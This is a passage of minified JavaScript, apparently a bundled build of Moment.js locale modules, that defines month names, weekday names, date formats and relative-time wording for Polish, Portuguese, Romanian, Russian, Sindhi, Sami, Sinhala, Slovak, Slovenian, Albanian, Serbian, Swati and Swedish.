t?"godzina":"godzinę";case"hh":return n+(r(e)?"godziny":"godzin");case"ww":return n+(r(e)?"tygodnie":"tygodni");case"MM":return n+(r(e)?"miesiące":"miesięcy");case"yy":return n+(r(e)?"lata":"lat")}}e.defineLocale("pl",{months:function(e,n){return e?/D MMMM/.test(n)?i[e.month()]:t[e.month()]:t},monthsShort:"sty_lut_mar_kwi_maj_cze_lip_sie_wrz_paź_lis_gru".split("_"),monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"niedziela_poniedziałek_wtorek_środa_czwartek_piątek_sobota".split("_"),weekdaysShort:"ndz_pon_wt_śr_czw_pt_sob".split("_"),weekdaysMin:"Nd_Pn_Wt_Śr_Cz_Pt_So".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Dziś o] LT",nextDay:"[Jutro o] LT",nextWeek:function(){switch(this.day()){case 0:return"[W niedzielę o] LT";case 2:return"[We wtorek o] LT";case 3:return"[W środę o] LT";case 6:return"[W sobotę o] LT";default:return"[W] dddd [o] LT"}},lastDay:"[Wczoraj o] LT",lastWeek:function(){switch(this.day()){case 0:return"[W zeszłą niedzielę o] LT";case 3:return"[W zeszłą środę o] LT";case 6:return"[W zeszłą sobotę o] LT";default:return"[W zeszły] dddd [o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"%s temu",s:"kilka sekund",ss:s,m:s,mm:s,h:s,hh:s,d:"1 dzień",dd:"%d dni",w:"tydzień",ww:s,M:"miesiąc",MM:s,y:"rok",yy:s},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},57971:function(e,t,i){!function(e){"use strict";e.defineLocale("pt-br",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"domingo_segunda-feira_terça-feira_quarta-feira_quinta-feira_sexta-feira_sábado".split("_"),weekdaysShort:"dom_seg_ter_qua_qui_sex_sáb".split("_"),weekdaysMin:"do_2ª_3ª_4ª_5ª_6ª_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY [às] HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY [às] HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"poucos segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",invalidDate:"Data inválida"})}(i(30381))},89520:function(e,t,i){!function(e){"use strict";e.defineLocale("pt",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado".split("_"),weekdaysShort:"Dom_Seg_Ter_Qua_Qui_Sex_Sáb".split("_"),weekdaysMin:"Do_2ª_3ª_4ª_5ª_6ª_Sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",w:"uma semana",ww:"%d semanas",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(i(30381))},96459:function(e,t,i){!function(e){"use strict";function t(e,t,i){var n=" ";return(e%100>=20||e>=100&&e%100==0)&&(n=" de "),e+n+{ss:"secunde",mm:"minute",hh:"ore",dd:"zile",ww:"săptămâni",MM:"luni",yy:"ani"}[i]}e.defineLocale("ro",{months:"ianuarie_februarie_martie_aprilie_mai_iunie_iulie_august_septembrie_octombrie_noiembrie_decembrie".split("_"),monthsShort:"ian._feb._mart._apr._mai_iun._iul._aug._sept._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"duminică_luni_marți_miercuri_joi_vineri_sâmbătă".split("_"),weekdaysShort:"Dum_Lun_Mar_Mie_Joi_Vin_Sâm".split("_"),weekdaysMin:"Du_Lu_Ma_Mi_Jo_Vi_Sâ".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[azi la] LT",nextDay:"[mâine la] LT",nextWeek:"dddd [la] LT",lastDay:"[ieri la] LT",lastWeek:"[fosta] dddd [la] LT",sameElse:"L"},relativeTime:{future:"peste %s",past:"%s în urmă",s:"câteva secunde",ss:t,m:"un minut",mm:t,h:"o oră",hh:t,d:"o zi",dd:t,w:"o săptămână",ww:t,M:"o lună",MM:t,y:"un an",yy:t},week:{dow:1,doy:7}})}(i(30381))},21793:function(e,t,i){!function(e){"use strict";function t(e,t,i){return"m"===i?t?"минута":"минуту":e+" "+(n=+e,r={ss:t?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:t?"минута_минуты_минут":"минуту_минуты_минут",hh:"час_часа_часов",dd:"день_дня_дней",ww:"неделя_недели_недель",MM:"месяц_месяца_месяцев",yy:"год_года_лет"}[i].split("_"),n%10==1&&n%100!=11?r[0]:n%10>=2&&n%10<=4&&(n%100<10||n%100>=20)?r[1]:r[2]);var n,r}var i=[/^янв/i,/^фев/i,/^мар/i,/^апр/i,/^ма[йя]/i,/^июн/i,/^июл/i,/^авг/i,/^сен/i,/^окт/i,/^ноя/i,/^дек/i];e.defineLocale("ru",{months:{format:"января_февраля_марта_апреля_мая_июня_июля_августа_сентября_октября_ноября_декабря".split("_"),standalone:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_")},monthsShort:{format:"янв._февр._мар._апр._мая_июня_июля_авг._сент._окт._нояб._дек.".split("_"),standalone:"янв._февр._март_апр._май_июнь_июль_авг._сент._окт._нояб._дек.".split("_")},weekdays:{standalone:"воскресенье_понедельник_вторник_среда_четверг_пятница_суббота".split("_"),format:"воскресенье_понедельник_вторник_среду_четверг_пятницу_субботу".split("_"),isFormat:/\[ ?[Вв] ?(?:прошлую|следующую|эту)? ?] ?dddd/},weekdaysShort:"вс_пн_вт_ср_чт_пт_сб".split("_"),weekdaysMin:"вс_пн_вт_ср_чт_пт_сб".split("_"),monthsParse:i,longMonthsParse:i,shortMonthsParse:i,monthsRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsShortRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsStrictRegex:/^(январ[яь]|феврал[яь]|марта?|апрел[яь]|ма[яй]|июн[яь]|июл[яь]|августа?|сентябр[яь]|октябр[яь]|ноябр[яь]|декабр[яь])/i,monthsShortStrictRegex:/^(янв\.|февр?\.|мар[т.]|апр\.|ма[яй]|июн[ья.]|июл[ья.]|авг\.|сент?\.|окт\.|нояб?\.|дек\.)/i,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., H:mm",LLLL:"dddd, D MMMM YYYY г., H:mm"},calendar:{sameDay:"[Сегодня, в] LT",nextDay:"[Завтра, в] LT",lastDay:"[Вчера, в] LT",nextWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В следующее] dddd, [в] LT";case 1:case 2:case 4:return"[В следующий] dddd, [в] LT";case 3:case 5:case 6:return"[В следующую] dddd, [в] LT"}},lastWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В прошлое] dddd, [в] LT";case 1:case 2:case 4:return"[В прошлый] dddd, [в] LT";case 3:case 5:case 6:return"[В прошлую] dddd, [в] LT"}},sameElse:"L"},relativeTime:{future:"через %s",past:"%s назад",s:"несколько секунд",ss:t,m:t,mm:t,h:"час",hh:t,d:"день",dd:t,w:"неделя",ww:t,M:"месяц",MM:t,y:"год",yy:t},meridiemParse:/ночи|утра|дня|вечера/i,isPM:function(e){return/^(дня|вечера)$/.test(e)},meridiem:function(e,t,i){return e<4?"ночи":e<12?"утра":e<17?"дня":"вечера"},dayOfMonthOrdinalParse:/\d{1,2}-(й|го|я)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":return e+"-й";case"D":return e+"-го";case"w":case"W":return e+"-я";default:return e}},week:{dow:1,doy:4}})}(i(30381))},40950:function(e,t,i){!function(e){"use strict";var t=["جنوري","فيبروري","مارچ","اپريل","مئي","جون","جولاءِ","آگسٽ","سيپٽمبر","آڪٽوبر","نومبر","ڊسمبر"],i=["آچر","سومر","اڱارو","اربع","خميس","جمع","ڇنڇر"];e.defineLocale("sd",{months:t,monthsShort:t,weekdays:i,weekdaysShort:i,weekdaysMin:i,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd، D MMMM YYYY HH:mm"},meridiemParse:/صبح|شام/,isPM:function(e){return"شام"===e},meridiem:function(e,t,i){return e<12?"صبح":"شام"},calendar:{sameDay:"[اڄ] LT",nextDay:"[سڀاڻي] LT",nextWeek:"dddd [اڳين هفتي تي] LT",lastDay:"[ڪالهه] LT",lastWeek:"[گزريل هفتي] dddd [تي] LT",sameElse:"L"},relativeTime:{future:"%s پوء",past:"%s اڳ",s:"چند سيڪنڊ",ss:"%d سيڪنڊ",m:"هڪ منٽ",mm:"%d منٽ",h:"هڪ ڪلاڪ",hh:"%d ڪلاڪ",d:"هڪ ڏينهن",dd:"%d ڏينهن",M:"هڪ مهينو",MM:"%d مهينا",y:"هڪ سال",yy:"%d سال"},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:1,doy:4}})}(i(30381))},10490:function(e,t,i){!function(e){"use strict";e.defineLocale("se",{months:"ođđajagemánnu_guovvamánnu_njukčamánnu_cuoŋománnu_miessemánnu_geassemánnu_suoidnemánnu_borgemánnu_čakčamánnu_golggotmánnu_skábmamánnu_juovlamánnu".split("_"),monthsShort:"ođđj_guov_njuk_cuo_mies_geas_suoi_borg_čakč_golg_skáb_juov".split("_"),weekdays:"sotnabeaivi_vuossárga_maŋŋebárga_gaskavahkku_duorastat_bearjadat_lávvardat".split("_"),weekdaysShort:"sotn_vuos_maŋ_gask_duor_bear_láv".split("_"),weekdaysMin:"s_v_m_g_d_b_L".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"MMMM D. [b.] YYYY",LLL:"MMMM D. [b.] YYYY [ti.] HH:mm",LLLL:"dddd, MMMM D. [b.] YYYY [ti.] HH:mm"},calendar:{sameDay:"[otne ti] LT",nextDay:"[ihttin ti] LT",nextWeek:"dddd [ti] LT",lastDay:"[ikte ti] LT",lastWeek:"[ovddit] dddd [ti] LT",sameElse:"L"},relativeTime:{future:"%s geažes",past:"maŋit %s",s:"moadde sekunddat",ss:"%d sekunddat",m:"okta minuhta",mm:"%d minuhtat",h:"okta diimmu",hh:"%d diimmut",d:"okta beaivi",dd:"%d beaivvit",M:"okta mánnu",MM:"%d mánut",y:"okta jahki",yy:"%d jagit"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},90124:function(e,t,i){!function(e){"use strict";e.defineLocale("si",{months:"ජනවාරි_පෙබරවාරි_මාර්තු_අප්‍රේල්_මැයි_ජූනි_ජූලි_අගෝස්තු_සැප්තැම්බර්_ඔක්තෝබර්_නොවැම්බර්_දෙසැම්බර්".split("_"),monthsShort:"ජන_පෙබ_මාර්_අප්_මැයි_ජූනි_ජූලි_අගෝ_සැප්_ඔක්_නොවැ_දෙසැ".split("_"),weekdays:"ඉරිදා_සඳුදා_අඟහරුවාදා_බදාදා_බ්‍රහස්පතින්දා_සිකුරාදා_සෙනසුරාදා".split("_"),weekdaysShort:"ඉරි_සඳු_අඟ_බදා_බ්‍රහ_සිකු_සෙන".split("_"),weekdaysMin:"ඉ_ස_අ_බ_බ්‍ර_සි_සෙ".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"a h:mm",LTS:"a h:mm:ss",L:"YYYY/MM/DD",LL:"YYYY MMMM D",LLL:"YYYY MMMM D, a h:mm",LLLL:"YYYY MMMM D [වැනි] dddd, a h:mm:ss"},calendar:{sameDay:"[අද] LT[ට]",nextDay:"[හෙට] LT[ට]",nextWeek:"dddd LT[ට]",lastDay:"[ඊයේ] LT[ට]",lastWeek:"[පසුගිය] dddd LT[ට]",sameElse:"L"},relativeTime:{future:"%sකින්",past:"%sකට පෙර",s:"තත්පර කිහිපය",ss:"තත්පර %d",m:"මිනිත්තුව",mm:"මිනිත්තු %d",h:"පැය",hh:"පැය %d",d:"දිනය",dd:"දින %d",M:"මාසය",MM:"මාස %d",y:"වසර",yy:"වසර %d"},dayOfMonthOrdinalParse:/\d{1,2} වැනි/,ordinal:function(e){return e+" වැනි"},meridiemParse:/පෙර වරු|පස් වරු|පෙ.ව|ප.ව./,isPM:function(e){return"ප.ව."===e||"පස් වරු"===e},meridiem:function(e,t,i){return e>11?i?"ප.ව.":"පස් වරු":i?"පෙ.ව.":"පෙර වරු"}})}(i(30381))},64249:function(e,t,i){!function(e){"use strict";var t="január_február_marec_apríl_máj_jún_júl_august_september_október_november_december".split("_"),i="jan_feb_mar_apr_máj_jún_júl_aug_sep_okt_nov_dec".split("_");function n(e){return e>1&&e<5}function r(e,t,i,r){var s=e+" ";switch(i){case"s":return t||r?"pár sekúnd":"pár sekundami";case"ss":return t||r?s+(n(e)?"sekundy":"sekúnd"):s+"sekundami";case"m":return t?"minúta":r?"minútu":"minútou";case"mm":return t||r?s+(n(e)?"minúty":"minút"):s+"minútami";case"h":return t?"hodina":r?"hodinu":"hodinou";case"hh":return t||r?s+(n(e)?"hodiny":"hodín"):s+"hodinami";case"d":return t||r?"deň":"dňom";case"dd":return t||r?s+(n(e)?"dni":"dní"):s+"dňami";case"M":return t||r?"mesiac":"mesiacom";case"MM":return t||r?s+(n(e)?"mesiace":"mesiacov"):s+"mesiacmi";case"y":return t||r?"rok":"rokom";case"yy":return t||r?s+(n(e)?"roky":"rokov"):s+"rokmi"}}e.defineLocale("sk",{months:t,monthsShort:i,weekdays:"nedeľa_pondelok_utorok_streda_štvrtok_piatok_sobota".split("_"),weekdaysShort:"ne_po_ut_st_št_pi_so".split("_"),weekdaysMin:"ne_po_ut_st_št_pi_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm"},calendar:{sameDay:"[dnes o] LT",nextDay:"[zajtra o] LT",nextWeek:function(){switch(this.day()){case 0:return"[v nedeľu o] LT";case 1:case 2:return"[v] dddd [o] LT";case 3:return"[v stredu o] LT";case 4:return"[vo štvrtok o] LT";case 5:return"[v piatok o] LT";case 6:return"[v sobotu o] LT"}},lastDay:"[včera o] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulú nedeľu o] LT";case 1:case 2:case 4:case 5:return"[minulý] dddd [o] LT";case 3:return"[minulú stredu o] LT";case 6:return"[minulú sobotu o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"pred %s",s:r,ss:r,m:r,mm:r,h:r,hh:r,d:r,dd:r,M:r,MM:r,y:r,yy:r},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},14985:function(e,t,i){!function(e){"use strict";function t(e,t,i,n){var r=e+" ";switch(i){case"s":return t||n?"nekaj sekund":"nekaj sekundami";case"ss":return r+(1===e?t?"sekundo":"sekundi":2===e?t||n?"sekundi":"sekundah":e<5?t||n?"sekunde":"sekundah":"sekund");case"m":return t?"ena minuta":"eno minuto";case"mm":return r+(1===e?t?"minuta":"minuto":2===e?t||n?"minuti":"minutama":e<5?t||n?"minute":"minutami":t||n?"minut":"minutami");case"h":return t?"ena ura":"eno uro";case"hh":return r+(1===e?t?"ura":"uro":2===e?t||n?"uri":"urama":e<5?t||n?"ure":"urami":t||n?"ur":"urami");case"d":return t||n?"en dan":"enim dnem";case"dd":return r+(1===e?t||n?"dan":"dnem":2===e?t||n?"dni":"dnevoma":t||n?"dni":"dnevi");case"M":return t||n?"en mesec":"enim mesecem";case"MM":return r+(1===e?t||n?"mesec":"mesecem":2===e?t||n?"meseca":"mesecema":e<5?t||n?"mesece":"meseci":t||n?"mesecev":"meseci");case"y":return t||n?"eno leto":"enim letom";case"yy":return r+(1===e?t||n?"leto":"letom":2===e?t||n?"leti":"letoma":e<5?t||n?"leta":"leti":t||n?"let":"leti")}}e.defineLocale("sl",{months:"januar_februar_marec_april_maj_junij_julij_avgust_september_oktober_november_december".split("_"),monthsShort:"jan._feb._mar._apr._maj._jun._jul._avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedelja_ponedeljek_torek_sreda_četrtek_petek_sobota".split("_"),weekdaysShort:"ned._pon._tor._sre._čet._pet._sob.".split("_"),weekdaysMin:"ne_po_to_sr_če_pe_so".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD. MM. YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danes ob] LT",nextDay:"[jutri ob] LT",nextWeek:function(){switch(this.day()){case 0:return"[v] [nedeljo] [ob] LT";case 3:return"[v] [sredo] [ob] LT";case 6:return"[v] [soboto] [ob] LT";case 1:case 2:case 4:case 5:return"[v] dddd [ob] LT"}},lastDay:"[včeraj ob] LT",lastWeek:function(){switch(this.day()){case 0:return"[prejšnjo] [nedeljo] [ob] LT";case 3:return"[prejšnjo] [sredo] [ob] LT";case 6:return"[prejšnjo] [soboto] [ob] LT";case 1:case 2:case 4:case 5:return"[prejšnji] dddd [ob] LT"}},sameElse:"L"},relativeTime:{future:"čez %s",past:"pred %s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(i(30381))},51104:function(e,t,i){!function(e){"use strict";e.defineLocale("sq",{months:"Janar_Shkurt_Mars_Prill_Maj_Qershor_Korrik_Gusht_Shtator_Tetor_Nëntor_Dhjetor".split("_"),monthsShort:"Jan_Shk_Mar_Pri_Maj_Qer_Kor_Gus_Sht_Tet_Nën_Dhj".split("_"),weekdays:"E Diel_E Hënë_E Martë_E Mërkurë_E Enjte_E Premte_E Shtunë".split("_"),weekdaysShort:"Die_Hën_Mar_Mër_Enj_Pre_Sht".split("_"),weekdaysMin:"D_H_Ma_Më_E_P_Sh".split("_"),weekdaysParseExact:!0,meridiemParse:/PD|MD/,isPM:function(e){return"M"===e.charAt(0)},meridiem:function(e,t,i){return e<12?"PD":"MD"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Sot në] LT",nextDay:"[Nesër në] LT",nextWeek:"dddd [në] LT",lastDay:"[Dje në] LT",lastWeek:"dddd [e kaluar në] LT",sameElse:"L"},relativeTime:{future:"në %s",past:"%s më parë",s:"disa sekonda",ss:"%d sekonda",m:"një minutë",mm:"%d minuta",h:"një orë",hh:"%d orë",d:"një ditë",dd:"%d ditë",M:"një muaj",MM:"%d muaj",y:"një vit",yy:"%d vite"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},79915:function(e,t,i){!function(e){"use strict";var t={words:{ss:["секунда","секунде","секунди"],m:["један минут","једног минута"],mm:["минут","минута","минута"],h:["један сат","једног сата"],hh:["сат","сата","сати"],d:["један дан","једног дана"],dd:["дан","дана","дана"],M:["један месец","једног месеца"],MM:["месец","месеца","месеци"],y:["једну годину","једне године"],yy:["годину","године","година"]},correctGrammaticalCase:function(e,t){return e%10>=1&&e%10<=4&&(e%100<10||e%100>=20)?e%10==1?t[0]:t[1]:t[2]},translate:function(e,i,n,r){var s,a=t.words[n];return 1===n.length?"y"===n&&i?"једна година":r||i?a[0]:a[1]:(s=t.correctGrammaticalCase(e,a),"yy"===n&&i&&"годину"===s?e+" година":e+" "+s)}};e.defineLocale("sr-cyrl",{months:"јануар_фебруар_март_април_мај_јун_јул_август_септембар_октобар_новембар_децембар".split("_"),monthsShort:"јан._феб._мар._апр._мај_јун_јул_авг._сеп._окт._нов._дец.".split("_"),monthsParseExact:!0,weekdays:"недеља_понедељак_уторак_среда_четвртак_петак_субота".split("_"),weekdaysShort:"нед._пон._уто._сре._чет._пет._суб.".split("_"),weekdaysMin:"не_по_ут_ср_че_пе_су".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D. M. YYYY.",LL:"D. MMMM YYYY.",LLL:"D. MMMM YYYY. H:mm",LLLL:"dddd, D. MMMM YYYY. H:mm"},calendar:{sameDay:"[данас у] LT",nextDay:"[сутра у] LT",nextWeek:function(){switch(this.day()){case 0:return"[у] [недељу] [у] LT";case 3:return"[у] [среду] [у] LT";case 6:return"[у] [суботу] [у] LT";case 1:case 2:case 4:case 5:return"[у] dddd [у] LT"}},lastDay:"[јуче у] LT",lastWeek:function(){return["[прошле] [недеље] [у] LT","[прошлог] [понедељка] [у] LT","[прошлог] [уторка] [у] LT","[прошле] [среде] [у] LT","[прошлог] [четвртка] [у] LT","[прошлог] [петка] [у] LT","[прошле] [суботе] [у] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"за %s",past:"пре %s",s:"неколико секунди",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:t.translate,dd:t.translate,M:t.translate,MM:t.translate,y:t.translate,yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(i(30381))},49131:function(e,t,i){!function(e){"use strict";var t={words:{ss:["sekunda","sekunde","sekundi"],m:["jedan minut","jednog minuta"],mm:["minut","minuta","minuta"],h:["jedan sat","jednog sata"],hh:["sat","sata","sati"],d:["jedan dan","jednog dana"],dd:["dan","dana","dana"],M:["jedan mesec","jednog meseca"],MM:["mesec","meseca","meseci"],y:["jednu godinu","jedne godine"],yy:["godinu","godine","godina"]},correctGrammaticalCase:function(e,t){return e%10>=1&&e%10<=4&&(e%100<10||e%100>=20)?e%10==1?t[0]:t[1]:t[2]},translate:function(e,i,n,r){var s,a=t.words[n];return 1===n.length?"y"===n&&i?"jedna godina":r||i?a[0]:a[1]:(s=t.correctGrammaticalCase(e,a),"yy"===n&&i&&"godinu"===s?e+" godina":e+" "+s)}};e.defineLocale("sr",{months:"januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedelja_ponedeljak_utorak_sreda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sre._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D. M. YYYY.",LL:"D. MMMM YYYY.",LLL:"D. MMMM YYYY. H:mm",LLLL:"dddd, D. MMMM YYYY. H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedelju] [u] LT";case 3:return"[u] [sredu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[juče u] LT",lastWeek:function(){return["[prošle] [nedelje] [u] LT","[prošlog] [ponedeljka] [u] LT","[prošlog] [utorka] [u] LT","[prošle] [srede] [u] LT","[prošlog] [četvrtka] [u] LT","[prošlog] [petka] [u] LT","[prošle] [subote] [u] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"za %s",past:"pre %s",s:"nekoliko sekundi",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:t.translate,dd:t.translate,M:t.translate,MM:t.translate,y:t.translate,yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(i(30381))},85893:function(e,t,i){!function(e){"use strict";e.defineLocale("ss",{months:"Bhimbidvwane_Indlovana_Indlov'lenkhulu_Mabasa_Inkhwekhweti_Inhlaba_Kholwane_Ingci_Inyoni_Imphala_Lweti_Ingongoni".split("_"),monthsShort:"Bhi_Ina_Inu_Mab_Ink_Inh_Kho_Igc_Iny_Imp_Lwe_Igo".split("_"),weekdays:"Lisontfo_Umsombuluko_Lesibili_Lesitsatfu_Lesine_Lesihlanu_Umgcibelo".split("_"),weekdaysShort:"Lis_Umb_Lsb_Les_Lsi_Lsh_Umg".split("_"),weekdaysMin:"Li_Us_Lb_Lt_Ls_Lh_Ug".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Namuhla nga] LT",nextDay:"[Kusasa nga] LT",nextWeek:"dddd [nga] LT",lastDay:"[Itolo nga] LT",lastWeek:"dddd [leliphelile] [nga] LT",sameElse:"L"},relativeTime:{future:"nga %s",past:"wenteka nga %s",s:"emizuzwana lomcane",ss:"%d mzuzwana",m:"umzuzu",mm:"%d emizuzu",h:"lihora",hh:"%d emahora",d:"lilanga",dd:"%d emalanga",M:"inyanga",MM:"%d tinyanga",y:"umnyaka",yy:"%d iminyaka"},meridiemParse:/ekuseni|emini|entsambama|ebusuku/,meridiem:function(e,t,i){return e<11?"ekuseni":e<15?"emini":e<19?"entsambama":"ebusuku"},meridiemHour:function(e,t){return 12===e&&(e=0),"ekuseni"===t?e:"emini"===t?e>=11?e:e+12:"entsambama"===t||"ebusuku"===t?0===e?0:e+12:void 0},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:"%d",week:{dow:1,doy:4}})}(i(30381))},98760:function(e,t,i){!function(e){"use strict";e.defineLocale("sv",{months:"januari_februari_mars_april_maj_juni_juli_augusti_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"söndag_måndag_tisdag_onsdag_torsdag_fredag_lördag".split("_"),weekdaysShort:"sön_mån_tis_ons_tor_fre_lör".split("_"),weekdaysMin:"sö_må_ti_on_to_fr_lö".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [kl.] HH:mm",LLLL:"dddd D MMMM YYYY [kl.] HH:mm",lll:"D MMM YYYY HH:mm",llll:"ddd D MMM YYYY HH:mm"},calendar:{sameDay:"[Idag] LT",nextDay:"[Imorgon] LT",lastDay:"[Igår] LT",nextWeek:"[På] dddd LT",lastWeek:"[I] dddd[s] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"för %s sedan",s:"några sekunder",ss:"%d sekunder",m:"en minut",mm:"%d minuter",h:"en timme",hh:"%d timmar",d:"en dag",dd:"%d dagar",M:"en månad",MM:"%d månader",y:"ett år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}(\:e|\:a)/,ordinal:function(e){var 